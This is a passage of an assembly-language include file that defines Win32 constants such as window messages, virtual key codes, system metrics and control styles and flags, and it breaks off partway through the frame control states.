+WM_CTLCOLORDLG = 0136h +WM_CTLCOLORSCROLLBAR = 0137h +WM_CTLCOLORSTATIC = 0138h +WM_MOUSEFIRST = 0200h +WM_MOUSEMOVE = 0200h +WM_LBUTTONDOWN = 0201h +WM_LBUTTONUP = 0202h +WM_LBUTTONDBLCLK = 0203h +WM_RBUTTONDOWN = 0204h +WM_RBUTTONUP = 0205h +WM_RBUTTONDBLCLK = 0206h +WM_MBUTTONDOWN = 0207h +WM_MBUTTONUP = 0208h +WM_MBUTTONDBLCLK = 0209h +WM_MOUSEWHEEL = 020Ah +WM_MOUSELAST = 020Ah +WM_PARENTNOTIFY = 0210h +WM_ENTERMENULOOP = 0211h +WM_EXITMENULOOP = 0212h +WM_NEXTMENU = 0213h +WM_SIZING = 0214h +WM_CAPTURECHANGED = 0215h +WM_MOVING = 0216h +WM_POWERBROADCAST = 0218h +WM_DEVICECHANGE = 0219h +WM_MDICREATE = 0220h +WM_MDIDESTROY = 0221h +WM_MDIACTIVATE = 0222h +WM_MDIRESTORE = 0223h +WM_MDINEXT = 0224h +WM_MDIMAXIMIZE = 0225h +WM_MDITILE = 0226h +WM_MDICASCADE = 0227h +WM_MDIICONARRANGE = 0228h +WM_MDIGETACTIVE = 0229h +WM_MDISETMENU = 0230h +WM_ENTERSIZEMOVE = 0231h +WM_EXITSIZEMOVE = 0232h +WM_DROPFILES = 0233h +WM_MDIREFRESHMENU = 0234h +WM_IME_SETCONTEXT = 0281h +WM_IME_NOTIFY = 0282h +WM_IME_CONTROL = 0283h +WM_IME_COMPOSITIONFULL = 0284h +WM_IME_SELECT = 0285h +WM_IME_CHAR = 0286h +WM_IME_KEYDOWN = 0290h +WM_IME_KEYUP = 0291h +WM_MOUSEHOVER = 02A1h +WM_MOUSELEAVE = 02A3h +WM_CUT = 0300h +WM_COPY = 0301h +WM_PASTE = 0302h +WM_CLEAR = 0303h +WM_UNDO = 0304h +WM_RENDERFORMAT = 0305h +WM_RENDERALLFORMATS = 0306h +WM_DESTROYCLIPBOARD = 0307h +WM_DRAWCLIPBOARD = 0308h +WM_PAINTCLIPBOARD = 0309h +WM_VSCROLLCLIPBOARD = 030Ah +WM_SIZECLIPBOARD = 030Bh +WM_ASKCBFORMATNAME = 030Ch +WM_CHANGECBCHAIN = 030Dh +WM_HSCROLLCLIPBOARD = 030Eh +WM_QUERYNEWPALETTE = 030Fh +WM_PALETTEISCHANGING = 0310h +WM_PALETTECHANGED = 0311h +WM_HOTKEY = 0312h +WM_PRINT = 0317h +WM_PRINTCLIENT = 0318h +WM_HANDHELDFIRST = 0358h +WM_HANDHELDLAST = 035Fh +WM_AFXFIRST = 0360h +WM_AFXLAST = 037Fh +WM_PENWINFIRST = 0380h +WM_PENWINLAST = 038Fh +WM_COALESCE_FIRST = 0390h +WM_COALESCE_LAST = 039Fh +WM_USER = 0400h + +; WM_SIZE commands + +SIZE_RESTORED = 0 +SIZE_MINIMIZED = 1 +SIZE_MAXIMIZED = 2 +SIZE_MAXSHOW = 3 +SIZE_MAXHIDE = 4 + +; WM_ACTIVATE states + +WA_INACTIVE = 0 +WA_ACTIVE = 1 +WA_CLICKACTIVE = 2 + +; WM_SHOWWINDOW identifiers + +SW_PARENTCLOSING = 1 +SW_OTHERZOOM = 2 +SW_PARENTOPENING = 3 +SW_OTHERUNZOOM = 4 + +; WM_MOUSEACTIVATE return codes + +MA_ACTIVATE = 1 +MA_ACTIVATEANDEAT = 2 +MA_NOACTIVATE = 3 +MA_NOACTIVATEANDEAT = 4 + +; WM_MDITILE flags + +MDITILE_VERTICAL = 0 +MDITILE_HORIZONTAL = 1 +MDITILE_SKIPDISABLED = 2 + +; WM_NOTIFY codes + +NM_OUTOFMEMORY = -1 +NM_CLICK = -2 +NM_DBLCLICK = -3 +NM_RETURN = -4 +NM_RCLICK = -5 +NM_RDBLCLK = -6 +NM_SETFOCUS = -7 +NM_KILLFOCUS = -8 + +; WM_SETICON types + +ICON_SMALL = 0 +ICON_BIG = 1 + +; WM_HOTKEY commands + +HOTKEYF_SHIFT = 01h +HOTKEYF_CONTROL = 02h +HOTKEYF_ALT = 04h +HOTKEYF_EXT = 08h + +; Keystroke flags + +KF_EXTENDED = 0100h +KF_DLGMODE = 0800h +KF_MENUMODE = 1000h +KF_ALTDOWN = 2000h +KF_REPEAT = 4000h +KF_UP = 8000h + +; Key state masks for mouse messages + +MK_LBUTTON = 01h +MK_RBUTTON = 02h +MK_SHIFT = 04h +MK_CONTROL = 08h +MK_MBUTTON = 10h + +; WM_SIZING codes + +WMSZ_LEFT = 1 +WMSZ_RIGHT = 2 +WMSZ_TOP = 3 +WMSZ_TOPLEFT = 4 +WMSZ_TOPRIGHT = 5 +WMSZ_BOTTOM = 6 +WMSZ_BOTTOMLEFT = 7 +WMSZ_BOTTOMRIGHT = 8 + +; WM_HOTKEY modifiers + +MOD_ALT = 1 +MOD_CONTROL = 2 +MOD_SHIFT = 4 +MOD_WIN = 8 + +; WM_PRINT flags + +PRF_CHECKVISIBLE = 01h +PRF_NONCLIENT = 02h +PRF_CLIENT = 04h +PRF_ERASEBKGND = 08h +PRF_CHILDREN = 10h +PRF_OWNED = 20h + +; Virtual key codes + +VK_LBUTTON = 001h +VK_CANCEL = 003h +VK_RBUTTON = 002h +VK_MBUTTON = 004h +VK_BACK = 008h +VK_TAB = 009h +VK_CLEAR = 00Ch +VK_RETURN = 00Dh +VK_SHIFT = 010h +VK_CONTROL = 011h +VK_MENU = 012h +VK_PAUSE = 013h +VK_CAPITAL = 014h +VK_ESCAPE = 01Bh +VK_SPACE = 020h +VK_PRIOR = 021h +VK_PGUP = 021h +VK_PGDN = 022h +VK_NEXT = 022h +VK_END = 023h +VK_HOME = 024h +VK_LEFT = 025h +VK_UP = 026h +VK_RIGHT = 027h +VK_DOWN = 028h +VK_SELECT = 029h +VK_PRINT = 02Ah +VK_EXECUTE = 02Bh +VK_SNAPSHOT = 02Ch +VK_INSERT = 02Dh +VK_DELETE = 02Eh +VK_HELP = 02Fh +VK_LWIN = 05Bh +VK_RWIN = 05Ch +VK_APPS = 05Dh +VK_NUMPAD0 = 060h +VK_NUMPAD1 = 061h +VK_NUMPAD2 = 062h +VK_NUMPAD3 = 063h +VK_NUMPAD4 = 064h +VK_NUMPAD5 = 065h +VK_NUMPAD6 = 066h +VK_NUMPAD7 = 067h +VK_NUMPAD8 = 068h +VK_NUMPAD9 = 069h +VK_MULTIPLY = 06Ah +VK_ADD = 06Bh +VK_SEPARATOR = 06Ch +VK_SUBTRACT = 06Dh +VK_DECIMAL = 06Eh +VK_DIVIDE = 06Fh +VK_F1 = 070h +VK_F2 = 071h +VK_F3 = 072h +VK_F4 = 073h +VK_F5 = 074h +VK_F6 = 075h +VK_F7 = 076h +VK_F8 = 077h +VK_F9 = 078h +VK_F10 = 079h +VK_F11 = 07Ah +VK_F12 = 07Bh +VK_F13 = 07Ch +VK_F14 = 07Dh +VK_F15 = 07Eh +VK_F16 = 07Fh +VK_F17 = 080h +VK_F18 = 081h +VK_F19 = 082h +VK_F20 = 083h +VK_F21 = 084h +VK_F22 = 085h +VK_F23 = 086h +VK_F24 = 087h +VK_NUMLOCK = 090h +VK_SCROLL = 091h +VK_LSHIFT = 0A0h +VK_RSHIFT = 0A1h +VK_LCONTROL = 0A2h +VK_RCONTROL = 0A3h +VK_LMENU = 0A4h +VK_RMENU = 0A5h +VK_ATTN = 0F6h +VK_CRSEL = 0F7h +VK_EXSEL = 0F8h +VK_EREOF = 0F9h +VK_PLAY = 0FAh +VK_ZOOM = 0FBh +VK_NONAME = 0FCh +VK_PA1 = 0FDh +VK_OEM_CLEAR = 0FEh + +; Accelerator flags + +FVIRTKEY = 01h +FNOINVERT = 02h +FSHIFT = 04h +FCONTROL = 08h +FALT = 10h + +; GetClassLong offsets + +GCL_MENUNAME = -8 +GCL_HBRBACKGROUND = -10 +GCL_HCURSOR = -12 +GCL_HICON = -14 +GCL_HMODULE = -16 +GCL_CBWNDEXTRA = -18 +GCL_CBCLSEXTRA = -20 +GCL_WNDPROC = -24 +GCL_STYLE = -26 +GCW_ATOM = -32 +GCL_HICONSM = -34 + +; WNDCLASS parameters + +DLGWINDOWEXTRA = 30 + +; GetWindowLong offsets + +GWL_WNDPROC = -4 +GWL_HINSTANCE = -6 +GWL_HWNDPARENT = -8 +GWL_STYLE = -16 +GWL_EXSTYLE = -20 +GWL_USERDATA = -21 +GWL_ID = -12 +DWL_MSGRESULT = 0 +DWL_DLGPROC = 4 +DWL_USER = 8 + +; GetSystemMetrics codes + +SM_CXSCREEN = 0 +SM_CYSCREEN = 1 +SM_CXVSCROLL = 2 +SM_CYHSCROLL = 3 +SM_CYCAPTION = 4 +SM_CXBORDER = 5 +SM_CYBORDER = 6 +SM_CXDLGFRAME = 7 +SM_CYDLGFRAME = 8 +SM_CYVTHUMB = 9 +SM_CXHTHUMB = 10 +SM_CXICON = 11 +SM_CYICON = 12 +SM_CXCURSOR = 13 +SM_CYCURSOR = 14 +SM_CYMENU = 15 +SM_CXFULLSCREEN = 16 +SM_CYFULLSCREEN = 17 +SM_CYKANJIWINDOW = 18 +SM_MOUSEPRESENT = 19 +SM_CYVSCROLL = 20 +SM_CXHSCROLL = 21 +SM_DEBUG = 22 +SM_SWAPBUTTON = 23 +SM_RESERVED1 = 24 +SM_RESERVED2 = 25 +SM_RESERVED3 = 26 +SM_RESERVED4 = 27 +SM_CXMIN = 28 +SM_CYMIN = 29 +SM_CXSIZE = 30 +SM_CYSIZE = 31 +SM_CXFRAME = 32 +SM_CYFRAME = 33 +SM_CXMINTRACK = 34 +SM_CYMINTRACK = 35 +SM_CXDOUBLECLK = 36 +SM_CYDOUBLECLK = 37 +SM_CXICONSPACING = 38 +SM_CYICONSPACING = 39 +SM_MENUDROPALIGNMENT = 40 +SM_PENWINDOWS = 41 +SM_DBCSENABLED = 42 +SM_CMOUSEBUTTONS = 43 +SM_CXFIXEDFRAME = SM_CXDLGFRAME +SM_CYFIXEDFRAME = SM_CYDLGFRAME +SM_CXSIZEFRAME = SM_CXFRAME +SM_CYSIZEFRAME = SM_CYFRAME +SM_SECURE = 44 +SM_CXEDGE = 45 +SM_CYEDGE = 46 +SM_CXMINSPACING = 47 +SM_CYMINSPACING = 48 +SM_CXSMICON = 49 +SM_CYSMICON = 50 +SM_CYSMCAPTION = 51 +SM_CXSMSIZE = 52 +SM_CYSMSIZE = 53 +SM_CXMENUSIZE = 54 +SM_CYMENUSIZE = 55 +SM_ARRANGE = 56 +SM_CXMINIMIZED = 57 +SM_CYMINIMIZED = 58 +SM_CXMAXTRACK = 59 +SM_CYMAXTRACK = 60 +SM_CXMAXIMIZED = 61 +SM_CYMAXIMIZED = 62 +SM_NETWORK = 63 +SM_CLEANBOOT = 67 +SM_CXDRAG = 68 +SM_CYDRAG = 69 +SM_SHOWSOUNDS = 70 +SM_CXMENUCHECK = 71 +SM_CYMENUCHECK = 72 +SM_SLOWMACHINE = 73 +SM_MIDEASTENABLED = 74 +SM_MOUSEWHEELPRESENT = 75 +SM_CMETRICS = 76 + +; Predefined cursor identifiers + +IDC_ARROW = 32512 +IDC_IBEAM = 32513 +IDC_WAIT = 32514 +IDC_CROSS = 32515 +IDC_UPARROW = 32516 +IDC_SIZE = 32640 +IDC_ICON = 32641 +IDC_SIZENWSE = 32642 +IDC_SIZENESW = 32643 +IDC_SIZEWE = 32644 +IDC_SIZENS = 32645 +IDC_NO = 32648 +IDC_HAND = 32649 +IDC_APPSTARTING = 32650 +IDC_HELP = 32651 + +; Predefined icon identifiers + +IDI_APPLICATION = 32512 +IDI_HAND = 32513 +IDI_QUESTION = 32514 +IDI_EXCLAMATION = 32515 +IDI_ASTERISK = 32516 +IDI_WINLOGO = 32517 + +; System colors + +COLOR_SCROLLBAR = 0 +COLOR_BACKGROUND = 1 +COLOR_ACTIVECAPTION = 2 +COLOR_INACTIVECAPTION = 3 +COLOR_MENU = 4 +COLOR_WINDOW = 5 +COLOR_WINDOWFRAME = 6 +COLOR_MENUTEXT = 7 +COLOR_WINDOWTEXT = 8 +COLOR_CAPTIONTEXT = 9 +COLOR_ACTIVEBORDER = 10 +COLOR_INACTIVEBORDER = 11 +COLOR_APPWORKSPACE = 12 +COLOR_HIGHLIGHT = 13 +COLOR_HIGHLIGHTTEXT = 14 +COLOR_BTNFACE = 15 +COLOR_BTNSHADOW = 16 +COLOR_GRAYTEXT = 17 +COLOR_BTNTEXT = 18 +COLOR_INACTIVECAPTIONTEXT = 19 +COLOR_BTNHIGHLIGHT = 20 +COLOR_3DDKSHADOW = 21 +COLOR_3DLIGHT = 22 +COLOR_INFOTEXT = 23 +COLOR_INFOBK = 24 +COLOR_HOTLIGHT = 26 +COLOR_GRADIENTACTIVECAPTION = 27 +COLOR_GRADIENTINACTIVECAPTION = 28 + +; Button messages + +BM_GETCHECK = 00F0h +BM_SETCHECK = 00F1h +BM_GETSTATE = 00F2h +BM_SETSTATE = 00F3h +BM_SETSTYLE = 00F4h +BM_CLICK = 00F5h +BM_GETIMAGE = 00F6h +BM_SETIMAGE = 00F7h + +; Button notifications + +BN_CLICKED = 0 +BN_PAINT = 1 +BN_HILITE = 2 +BN_UNHILITE = 3 +BN_DISABLE = 4 +BN_DOUBLECLICKED = 5 +BN_SETFOCUS = 6 +BN_KILLFOCUS = 7 +BN_PUSHED = BN_HILITE +BN_UNPUSHED = BN_UNHILITE +BN_DBLCLK = BN_DOUBLECLICKED + +; Button styles + +BS_PUSHBUTTON = 0000h +BS_DEFPUSHBUTTON = 0001h +BS_CHECKBOX = 0002h +BS_AUTOCHECKBOX = 0003h +BS_RADIOBUTTON = 0004h +BS_3STATE = 0005h +BS_AUTO3STATE = 0006h +BS_GROUPBOX = 0007h +BS_USERBUTTON = 0008h +BS_AUTORADIOBUTTON = 0009h +BS_OWNERDRAW = 000Bh +BS_TEXT = 0000h +BS_LEFTTEXT = 0020h +BS_RIGHTBUTTON = BS_LEFTTEXT +BS_ICON = 0040h +BS_BITMAP = 0080h +BS_LEFT = 0100h +BS_RIGHT = 0200h +BS_CENTER = 0300h +BS_TOP = 0400h +BS_BOTTOM = 0800h +BS_VCENTER = 0C00h +BS_PUSHLIKE = 1000h +BS_MULTILINE = 2000h +BS_NOTIFY = 4000h +BS_FLAT = 8000h + +; Button states + +BST_UNCHECKED = 0 +BST_CHECKED = 1 +BST_INDETERMINATE = 2 +BST_PUSHED = 4 +BST_FOCUS = 8 + +; List box messages + +LB_ADDSTRING = 0180h +LB_INSERTSTRING = 0181h +LB_DELETESTRING = 0182h +LB_SELITEMRANGEEX = 0183h +LB_RESETCONTENT = 0184h +LB_SETSEL = 0185h +LB_SETCURSEL = 0186h +LB_GETSEL = 0187h +LB_GETCURSEL = 0188h +LB_GETTEXT = 0189h +LB_GETTEXTLEN = 018Ah +LB_GETCOUNT = 018Bh +LB_SELECTSTRING = 018Ch +LB_DIR = 018Dh +LB_GETTOPINDEX = 018Eh +LB_FINDSTRING = 018Fh +LB_GETSELCOUNT = 0190h +LB_GETSELITEMS = 0191h +LB_SETTABSTOPS = 0192h +LB_GETHORIZONTALEXTENT = 0193h +LB_SETHORIZONTALEXTENT = 0194h +LB_SETCOLUMNWIDTH = 0195h +LB_ADDFILE = 0196h +LB_SETTOPINDEX = 0197h +LB_GETITEMRECT = 0198h +LB_GETITEMDATA = 0199h +LB_SETITEMDATA = 019Ah +LB_SELITEMRANGE = 019Bh +LB_SETANCHORINDEX = 019Ch +LB_GETANCHORINDEX = 019Dh +LB_SETCARETINDEX = 019Eh +LB_GETCARETINDEX = 019Fh +LB_SETITEMHEIGHT = 01A0h +LB_GETITEMHEIGHT = 01A1h +LB_FINDSTRINGEXACT = 01A2h +LB_SETLOCALE = 01A5h +LB_GETLOCALE = 01A6h +LB_SETCOUNT = 01A7h +LB_INITSTORAGE = 01A8h +LB_ITEMFROMPOINT = 01A9h + +; List box notifications + +LBN_ERRSPACE = -2 +LBN_SELCHANGE = 1 +LBN_DBLCLK = 2 +LBN_SELCANCEL = 3 +LBN_SETFOCUS = 4 +LBN_KILLFOCUS = 5 + +; List box styles + +LBS_NOTIFY = 0001h +LBS_SORT = 0002h +LBS_NOREDRAW = 0004h +LBS_MULTIPLESEL = 0008h +LBS_OWNERDRAWFIXED = 0010h +LBS_OWNERDRAWVARIABLE = 0020h +LBS_HASSTRINGS = 0040h +LBS_USETABSTOPS = 0080h +LBS_NOINTEGRALHEIGHT = 0100h +LBS_MULTICOLUMN = 0200h +LBS_WANTKEYBOARDINPUT = 0400h +LBS_EXTENDEDSEL = 0800h +LBS_DISABLENOSCROLL = 1000h +LBS_NODATA = 2000h +LBS_NOSEL = 4000h +LBS_STANDARD = LBS_NOTIFY or LBS_SORT or WS_VSCROLL or WS_BORDER + +; List box return values + +LB_OKAY = 0 +LB_ERR = -1 +LB_ERRSPACE = -2 + +; Combo box messages + +CB_GETEDITSEL = 0140h +CB_LIMITTEXT = 0141h +CB_SETEDITSEL = 0142h +CB_ADDSTRING = 0143h +CB_DELETESTRING = 0144h +CB_DIR = 0145h +CB_GETCOUNT = 0146h +CB_GETCURSEL = 0147h +CB_GETLBTEXT = 0148h +CB_GETLBTEXTLEN = 0149h +CB_INSERTSTRING = 014Ah +CB_RESETCONTENT = 014Bh +CB_FINDSTRING = 014Ch +CB_SELECTSTRING = 014Dh +CB_SETCURSEL = 014Eh +CB_SHOWDROPDOWN = 014Fh +CB_GETITEMDATA = 0150h +CB_SETITEMDATA = 0151h +CB_GETDROPPEDCONTROLRECT = 0152h +CB_SETITEMHEIGHT = 0153h +CB_GETITEMHEIGHT = 0154h +CB_SETEXTENDEDUI = 0155h +CB_GETEXTENDEDUI = 0156h +CB_GETDROPPEDSTATE = 0157h +CB_FINDSTRINGEXACT = 0158h +CB_SETLOCALE = 0159h +CB_GETLOCALE = 015Ah +CB_GETTOPINDEX = 015Bh +CB_SETTOPINDEX = 015Ch +CB_GETHORIZONTALEXTENT = 015Dh +CB_SETHORIZONTALEXTENT = 015Eh +CB_GETDROPPEDWIDTH = 015Fh +CB_SETDROPPEDWIDTH = 0160h +CB_INITSTORAGE = 0161h + +; Combo box notifications + +CBN_ERRSPACE = -1 +CBN_SELCHANGE = 1 +CBN_DBLCLK = 2 +CBN_SETFOCUS = 3 +CBN_KILLFOCUS = 4 +CBN_EDITCHANGE = 5 +CBN_EDITUPDATE = 6 +CBN_DROPDOWN = 7 +CBN_CLOSEUP = 8 +CBN_SELENDOK = 9 +CBN_SELENDCANCEL = 10 + +; Combo box styles + +CBS_SIMPLE = 0001h +CBS_DROPDOWN = 0002h +CBS_DROPDOWNLIST = 0003h +CBS_OWNERDRAWFIXED = 0010h +CBS_OWNERDRAWVARIABLE = 0020h +CBS_AUTOHSCROLL = 0040h +CBS_OEMCONVERT = 0080h +CBS_SORT = 0100h +CBS_HASSTRINGS = 0200h +CBS_NOINTEGRALHEIGHT = 0400h +CBS_DISABLENOSCROLL = 0800h +CBS_UPPERCASE = 2000h +CBS_LOWERCASE = 4000h + +; Combo box return values + +CB_OKAY = 0 +CB_ERR = -1 +CB_ERRSPACE = -2 + +; Edit control messages + +EM_GETSEL = 00B0h +EM_SETSEL = 00B1h +EM_GETRECT = 00B2h +EM_SETRECT = 00B3h +EM_SETRECTNP = 00B4h +EM_SCROLL = 00B5h +EM_LINESCROLL = 00B6h +EM_SCROLLCARET = 00B7h +EM_GETMODIFY = 00B8h +EM_SETMODIFY = 00B9h +EM_GETLINECOUNT = 00BAh +EM_LINEINDEX = 00BBh +EM_SETHANDLE = 00BCh +EM_GETHANDLE = 00BDh +EM_GETTHUMB = 00BEh +EM_LINELENGTH = 00C1h +EM_REPLACESEL = 00C2h +EM_GETLINE = 00C4h +EM_LIMITTEXT = 00C5h +EM_CANUNDO = 00C6h +EM_UNDO = 00C7h +EM_FMTLINES = 00C8h +EM_LINEFROMCHAR = 00C9h +EM_SETTABSTOPS = 00CBh +EM_SETPASSWORDCHAR = 00CCh +EM_EMPTYUNDOBUFFER = 00CDh +EM_GETFIRSTVISIBLELINE = 00CEh +EM_SETREADONLY = 00CFh +EM_SETWORDBREAKPROC = 00D0h +EM_GETWORDBREAKPROC = 00D1h +EM_GETPASSWORDCHAR = 00D2h +EM_SETMARGINS = 00D3h +EM_GETMARGINS = 00D4h +EM_SETLIMITTEXT = EM_LIMITTEXT +EM_GETLIMITTEXT = 00D5h +EM_POSFROMCHAR = 00D6h +EM_CHARFROMPOS = 00D7h + +; Edit control EM_SETMARGIN parameters + +EC_LEFTMARGIN = 1 +EC_RIGHTMARGIN = 2 +EC_USEFONTINFO = 0FFFFh + +; Edit control notifications + +EN_SETFOCUS = 0100h +EN_KILLFOCUS = 0200h +EN_CHANGE = 0300h +EN_UPDATE = 0400h +EN_ERRSPACE = 0500h +EN_MAXTEXT = 0501h +EN_HSCROLL = 0601h +EN_VSCROLL = 0602h + +; Edit control styles + +ES_LEFT = 0000h +ES_CENTER = 0001h +ES_RIGHT = 0002h +ES_MULTILINE = 0004h +ES_UPPERCASE = 0008h +ES_LOWERCASE = 0010h +ES_PASSWORD = 0020h +ES_AUTOVSCROLL = 0040h +ES_AUTOHSCROLL = 0080h +ES_NOHIDESEL = 0100h +ES_OEMCONVERT = 0400h +ES_READONLY = 0800h +ES_WANTRETURN = 1000h +ES_NUMBER = 2000h + +; Static window messages + +STM_SETICON = 0170h +STM_GETICON = 0171h +STM_SETIMAGE = 0172h +STM_GETIMAGE = 0173h + +; Static window notifications + +STN_CLICKED = 0 +STN_DBLCLK = 1 +STN_ENABLE = 2 +STN_DISABLE = 3 + +; Static window styles + +SS_LEFT = 0000h +SS_CENTER = 0001h +SS_RIGHT = 0002h +SS_ICON = 0003h +SS_BLACKRECT = 0004h +SS_GRAYRECT = 0005h +SS_WHITERECT = 0006h +SS_BLACKFRAME = 0007h +SS_GRAYFRAME = 0008h +SS_WHITEFRAME = 0009h +SS_USERITEM = 000Ah +SS_SIMPLE = 000Bh +SS_LEFTNOWORDWRAP = 000Ch +SS_BITMAP = 000Eh +SS_OWNERDRAW = 000Dh +SS_ENHMETAFILE = 000Fh +SS_ETCHEDHORZ = 0010h +SS_ETCHEDVERT = 0011h +SS_ETCHEDFRAME = 0012h +SS_TYPEMASK = 001Fh +SS_NOPREFIX = 0080h +SS_NOTIFY = 0100h +SS_CENTERIMAGE = 0200h +SS_RIGHTJUST = 0400h +SS_REALSIZEIMAGE = 0800h +SS_SUNKEN = 1000h + +; Scroll bar constants + +SB_HORZ = 0 +SB_VERT = 1 +SB_CTL = 2 +SB_BOTH = 3 + +; Scroll bar messages + +SBM_SETPOS = 00E0h +SBM_GETPOS = 00E1h +SBM_SETRANGE = 00E2h +SBM_SETRANGEREDRAW = 00E6h +SBM_GETRANGE = 00E3h +SBM_ENABLE_ARROWS = 00E4h +SBM_SETSCROLLINFO = 00E9h +SBM_GETSCROLLINFO = 00EAh + +; Scroll bar commands + +SB_LINEUP = 0 +SB_LINELEFT = 0 +SB_LINEDOWN = 1 +SB_LINERIGHT = 1 +SB_PAGEUP = 2 +SB_PAGELEFT = 2 +SB_PAGEDOWN = 3 +SB_PAGERIGHT = 3 +SB_THUMBPOSITION = 4 +SB_THUMBTRACK = 5 +SB_TOP = 6 +SB_LEFT = 6 +SB_BOTTOM = 7 +SB_RIGHT = 7 +SB_ENDSCROLL = 8 + +; Scroll bar styles + +SBS_HORZ = 0000h +SBS_VERT = 0001h +SBS_TOPALIGN = 0002h +SBS_LEFTALIGN = 0002h +SBS_BOTTOMALIGN = 0004h +SBS_RIGHTALIGN = 0004h +SBS_SIZEBOXTOPLEFTALIGN = 0002h +SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h +SBS_SIZEBOX = 0008h +SBS_SIZEGRIP = 0010h + +; Scroll bar info flags + +SIF_RANGE = 0001h +SIF_PAGE = 0002h +SIF_POS = 0004h +SIF_DISABLENOSCROLL = 0008h +SIF_TRACKPOS = 0010h +SIF_ALL = SIF_RANGE or SIF_PAGE or SIF_POS or SIF_TRACKPOS + +; Dialog styles + +DS_ABSALIGN = 0001h +DS_SYSMODAL = 0002h +DS_3DLOOK = 0004h +DS_FIXEDSYS = 0008h +DS_NOFAILCREATE = 0010h +DS_LOCALEDIT = 0020h +DS_SETFONT = 0040h +DS_MODALFRAME = 0080h +DS_NOIDLEMSG = 0100h +DS_SETFOREGROUND = 0200h +DS_CONTROL = 0400h +DS_CENTER = 0800h +DS_CENTERMOUSE = 1000h +DS_CONTEXTHELP = 2000h + +; Dialog codes + +DLGC_WANTARROWS = 0001h +DLGC_WANTTAB = 0002h +DLGC_WANTALLKEYS = 0004h +DLGC_WANTMESSAGE = 0004h +DLGC_HASSETSEL = 0008h +DLGC_DEFPUSHBUTTON = 0010h +DLGC_UNDEFPUSHBUTTON = 0020h +DLGC_RADIOBUTTON = 0040h +DLGC_WANTCHARS = 0080h +DLGC_STATIC = 0100h +DLGC_BUTTON = 2000h + +; Menu flags + +MF_INSERT = 0000h +MF_CHANGE = 0080h +MF_APPEND = 0100h +MF_DELETE = 0200h +MF_REMOVE = 1000h +MF_BYCOMMAND = 0000h +MF_BYPOSITION = 0400h +MF_SEPARATOR = 0800h +MF_UNCHECKED = 0000h +MF_ENABLED = 0000h +MF_GRAYED = 0001h +MF_DISABLED = 0002h +MF_CHECKED = 0008h +MF_USECHECKBITMAPS = 0200h +MF_STRING = 0000h +MF_BITMAP = 0004h +MF_OWNERDRAW = 0100h +MF_POPUP = 0010h +MF_MENUBARBREAK = 0020h +MF_MENUBREAK = 0040h +MF_UNHILITE = 0000h +MF_HILITE = 0080h +MF_DEFAULT = 1000h +MF_SYSMENU = 2000h +MF_HELP = 4000h +MF_RIGHTJUSTIFY = 4000h +MF_MOUSESELECT = 8000h +MF_END = 0080h +MFT_STRING = MF_STRING +MFT_BITMAP = MF_BITMAP +MFT_MENUBARBREAK = MF_MENUBARBREAK +MFT_MENUBREAK = MF_MENUBREAK +MFT_OWNERDRAW = MF_OWNERDRAW +MFT_RADIOCHECK = 0200h +MFT_SEPARATOR = MF_SEPARATOR +MFT_RIGHTORDER = 2000h +MFT_RIGHTJUSTIFY = MF_RIGHTJUSTIFY +MFS_GRAYED = 0003h +MFS_DISABLED = MFS_GRAYED +MFS_CHECKED = MF_CHECKED +MFS_HILITE = MF_HILITE +MFS_ENABLED = MF_ENABLED +MFS_UNCHECKED = MF_UNCHECKED +MFS_UNHILITE = MF_UNHILITE +MFS_DEFAULT = MF_DEFAULT +MFR_POPUP = 0001h +MFR_END = MF_END + +; System menu command values + +SC_SIZE = 61440 +SC_MOVE = 61456 +SC_MINIMIZE = 61472 +SC_MAXIMIZE = 61488 +SC_NEXTWINDOW = 61504 +SC_PREVWINDOW = 61520 +SC_CLOSE = 61536 +SC_VSCROLL = 61552 +SC_HSCROLL = 61568 +SC_MOUSEMENU = 61584 +SC_KEYMENU = 61696 +SC_ARRANGE = 61712 +SC_RESTORE = 61728 +SC_TASKLIST = 61744 +SC_SCREENSAVE = 61760 +SC_HOTKEY = 61776 +SC_DEFAULT = 61792 +SC_MONITORPOWER = 61808 +SC_CONTEXTHELP = 61824 +SC_SEPARATOR = 61455 + +; Border types + +BDR_RAISEDOUTER = 01h +BDR_SUNKENOUTER = 02h +BDR_RAISEDINNER = 04h +BDR_SUNKENINNER = 08h +BDR_OUTER = 03h +BDR_INNER = 0Ch +BDR_RAISED = 05h +BDR_SUNKEN = 0Ah +EDGE_RAISED = BDR_RAISEDOUTER or BDR_RAISEDINNER +EDGE_SUNKEN = BDR_SUNKENOUTER or BDR_SUNKENINNER +EDGE_ETCHED = BDR_SUNKENOUTER or BDR_RAISEDINNER +EDGE_BUMP = BDR_RAISEDOUTER or BDR_SUNKENINNER + +; Border flags + +BF_LEFT = 0001h +BF_TOP = 0002h +BF_RIGHT = 0004h +BF_BOTTOM = 0008h +BF_TOPLEFT = BF_TOP or BF_LEFT +BF_TOPRIGHT = BF_TOP or BF_RIGHT +BF_BOTTOMLEFT = BF_BOTTOM or BF_LEFT +BF_BOTTOMRIGHT = BF_BOTTOM or BF_RIGHT +BF_RECT = BF_LEFT or BF_TOP or BF_RIGHT or BF_BOTTOM +BF_DIAGONAL = 0010h +BF_DIAGONAL_ENDTOPRIGHT = BF_DIAGONAL or BF_TOP or BF_RIGHT +BF_DIAGONAL_ENDTOPLEFT = BF_DIAGONAL or BF_TOP or BF_LEFT +BF_DIAGONAL_ENDBOTTOMLEFT = BF_DIAGONAL or BF_BOTTOM or BF_LEFT +BF_DIAGONAL_ENDBOTTOMRIGHT = BF_DIAGONAL or BF_BOTTOM or BF_RIGHT +BF_MIDDLE = 0800h +BF_SOFT = 1000h +BF_ADJUST = 2000h +BF_FLAT = 4000h +BF_MONO = 8000h + +; Frame control types + +DFC_CAPTION = 1 +DFC_MENU = 2 +DFC_SCROLL = 3 +DFC_BUTTON = 4 +DFC_POPUPMENU = 5 + +; Frame control states + +DFCS_CAPTIONCLOSE = 0000h +DFCS_CAPTIONMIN = 0001h +DFCS_CAPTIONMAX = 0002h +DFCS_CAPTIONRESTORE = 0003h +DFCS_CAPTIONHELP = 0004h +DFCS_MENUARROW = 0000h +DFCS_MENUCHECK = 0001h +DFCS_MENUBULLET = 0002h +DFCS_MENUARROWRIGHT = 0004h +DFCS_SCROLLUP = 0000h +DFCS_SCROLLDOWN = 0001h +DFCS_SCROLLLEFT = 0002h +DFCS_SCROLLRIGHT = 0003h +DFCS_SCROLLCOMBOBOX = 0005h +DFCS_SCROLLSIZEGRIP = 0008h +DFCS_SCROLLSIZEGRIPRIGHT = 0010h +DFCS_BUTTONCHECK = 0000h +DFCS_BUTTONRADIOIMAGE = 0001h 